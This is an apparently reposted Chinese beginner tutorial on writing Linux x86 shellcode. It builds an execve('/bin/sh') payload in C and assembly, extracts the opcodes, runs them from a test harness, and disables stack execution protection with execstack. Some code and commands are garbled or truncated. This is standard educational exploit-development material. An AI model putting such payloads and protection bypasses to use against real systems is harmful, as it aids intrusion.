⼆进制⼊门-打造Linuxshellcode基础篇
0x01 前⾔
本⽂的⽬的不是为了介绍如何进⾏恶意的破坏性活动,⽽是为了教会你如何去防御此类破坏性活动,以帮助你扩⼤知识范围,完善⾃⼰的技能,如有读者运⽤本⽂所学技术从事破坏性活动,本⼈概不负责。
0x02 什么是Shellcode
shellcode是⽤作利⽤软件漏洞的有效载荷的⼀⼩段代码,因为它通常启动⼀个命令shell,攻击者可以从中控制受攻击的机器,所以称他为。但是任何执⾏类似任务的代码都可以称为shellcode。因为有效载荷的功能不仅限于⼀个shell。
shellcode基本的编写⽅式有以下三种
直接编写⼗六进制操作码。
使⽤c语⾔编写程序,然后进⾏编译,最后进⾏反汇编来获取汇编指令和⼗六进制操作码。
编写汇编程序,将该程序汇编,然后从⼆进制中提取⼗六进制操作码。
第⼀种⽅法很极端,直接编写⼗六进制操作码是⼀件⾮常难得事情。下⾯我将带⼤家⼀步步去编写⾃⼰的shellcode。
0x03 execve系统调⽤
在Linux系统上执⾏程序的⽅式有多种,但是其中使⽤最⼴泛的⼀种⽅式就是通过借助execve系统调⽤。我们⾸先来看看execve的使⽤⽅法。
说明看起来很复杂,其实很简单。我们先使⽤c语⾔来实现它。
c语⾔实现execve系统调⽤创建shell
我们⾸先来新建⼀个⽂件:
我们使⽤vim来编写代码:
看完上⾯的介绍,使⽤c语⾔来实现就很简单了。
123456789
#include <unistd.h> int main(){    char * shell[2];
shell[0]="/bin/sh";
shell[1]=NULL;
execve(shell[0],shell,NULL);}
然后我们使⽤gcc 编译器来编译⼀下:
运⾏看看:
成功执⾏创建⼀个shell 。
转向汇编语⾔
前⾯我们已经使⽤c 语⾔来实现了,现在我们就需要⽤汇编语⾔来重写execve 系统调⽤,其实很简单。我们先来查看⼀下execve 系统调⽤号
:11
汇编代码重写:
⾸先我们将寄存器eax 清零。
然后我们将寄存器eax 进⾏⼊栈操作,其实就是将字符串末尾的空字符值⼊栈:
push eax
然后将⼊栈(由于需要对齐,因此这⾥⽤了四个字节)
push 0x68732f2f
最后将⼊栈。
push 0x6e69622f
现在栈上已经有了全部所需数据,现在就是设置execve系统调⽤了。[AppleScript] 纯⽂本查看复制代码
1 2 3 4 5 6 7mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb  ;0xb表⽰其系统调⽤号的⼗六进制,execve的系统调⽤号为11 int 0x80
完整代码如下:01
02 03 04 05 06 07 08 09 10 11 12 13 14 15section .text global_start
_start:
xor eax,eax push eax
push 0x68732f2f push 0x6e69622f mov ebx,esp push eax
push ebx
mov ecx,esp xor edx,edx mov al,0xb
int 0x80
汇编链接测试
⾸先使⽤nasm进⾏汇编
root@kali:~/demo# nasm -f elf test.asm 然后使⽤ld链接
root
运⾏测试看看
root
#
0x04 提取⼗六进制操作码并测试Shellcode
获得⼗六进制操作码很简单,我们只需要使⽤objdump⼯具的-d选项来进⾏反汇编即可:
shell vim命令最后我们检查⼀下有没有出现空字符(\x00)。
测试shellcode
⾸先我们将⼗六进制操作码放⼊⼀个名为shellcode[]的缓冲区中。
01
02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21#include <stdio.h> char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
void (*fp) (void);
fp=(void *)shellcode;    fp();
}
然后我们分配⼀个名为fp的函数指针,然后将这个函数指针设置为的起始地址。最后我们执⾏这个函数。
现在我们编译⼀下,这⾥注意⼀下,编译成功后我们还是不能成功执⾏的,会出现段错误的提⽰,这是因为系统本⾝有数据区执⾏保护机制,导致在全局数据段的shellcode不能被运⾏,即出现段错误。
这⾥我们先安装⼀下execstack。
sudo apt-get install execstack
然后针对编译后的程序使⽤execstack
execstack -s 程序名
之后执⾏就OK了
总结
现在我们已经知道⼀个编写流程了,别⾛开,这只是基础篇,我们实现的这个shellcode缺乏实战,下⼀篇教程我们继续完善这个shellcode。
参考:
《汇编语⾔(第3版) 》王爽
《[科普]浅⼊浅出Liunx Shellcode》pr0cess

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。